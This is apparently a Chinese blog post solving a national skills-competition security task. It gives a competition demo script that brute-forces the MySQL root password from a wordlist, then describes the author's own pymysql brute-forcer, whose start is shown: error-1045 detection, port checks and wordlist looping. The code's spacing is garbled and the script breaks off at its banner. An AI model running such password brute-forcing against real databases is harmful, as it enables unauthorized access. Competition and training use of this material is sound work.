国赛mysql加固_全国职业技能大赛信息安全管理与评估MySQL爆破脚本

DEMO:

#coding=utf-8

importMySQLdbclassMSSQL:def __init__(self,host,user,pwd):

self.host=host

self.user=user

self.pwd=pwddefconnect_dp(self):

conn= MySQLdb.connect(host=self.host,port=Flag3, user=Flag4,passwd=self.pwd,db='mysql',)

cur=conn.cursor()if notcur:raise(NameError,"failed connect to sql server")else:returnself.pwddefmain():

fp= open('/root/superdic.txt','r')for password infp.readlines():try:

a= MSSQL(host=Flag1,user='root',pwd=Flag2)

ms=a.connect_dp()printpassword.strip()except:pass

if nots:print 'brute failed'fp.close()if __name__ == '__main__':

main()#Flag1 = "127.0.0.1"#Flag2 = password.strip()#Flag3 = 3306#Flag4 = self.user

分析赛题:

赛题主要是考察了类的传参和读写文件时候的去除换行符

代码是分析赛题后构思实现, 因为是自己想到哪写到那,哪里不会百度哪里,就出了一堆BUG~~MMP

函数:

0.printBanner()打印出banenr信息 没什么卵用

1.sqlConnect()核心函数,使用pymysql库连接mysql数据库,这里需要注意下端口是int,还有一点是使用connect函数的时候,如果要指定端口,最好写成host=szhost,port=szport,这种=号的传参方式

mysql密码错误抛出的异常是

pymysql.err.OperationalError: (1045, "Access denied for user 'root'@'192.168.64.130' (using password:YES)")

我用了 "1045" in "抛出的异常" 来判断是否是密码错误,绝对不能直接except出去,因为这个函数会抛出很多异常,比如端口连接失败.连接成功后我执行了一条sql语句用来查询数据库的版本 对~这条语句也会抛出异常 但是这个我没有except~毕竟是个玩具写的老累了.我换了另一种方式,只要是1045错误的异常我都判断成密码认证错误,如果是其他的异常就完整打印出来信息,如果说用户体验什么的话·的确一堆乱七八糟的异常信息会让人很不舒服,但~这是个玩具~~~这样我查错就更方便了..

2.connectTest()连接mysql之前首先判断端口是否能连接

代码逻辑:

参数检查:

0.检查-i和-d后是否带参数 False=》exit() print(help)  True=> 去 1

1.检查-p后是否带参数,False=》使用默认的3306端口 True =》使用指定的端口

2.使用connectTest函数检查目标端口是否开放 False =》exit() print("端口未开放") True => 去3

3.检查字典文件是否存在 False=》exit() print("字典文件无法打开") True=>去4

4.打开字典文件

5.用for in 递归字典文件代码每一行 赋值给另一个变量 这个变量作为密码传进sqlconnect函数

#!/usr/bin/python3

importpymysqlimportosimportoptparseimportsocketimportsysimporttimeimportthreading

count=0defprintBanner():

banner= '''_____ _ _ ____ _ __ __ ____ ______ ___ _

| ___| | | |/ ___| |/ / | / / / ___| / _ | |

| |_ | | | | | | ' /_____| |/| | V /\___ | | | | |

| _| | |_| | |___| . \_____| | | | | | ___) | |_| | |___

|_| \___/ \____|_|\_ |_| |_| |_| |____/ \__\_\_____|

v1.0 R4bbit'''

print("

你可能感兴趣的:(国赛mysql加固)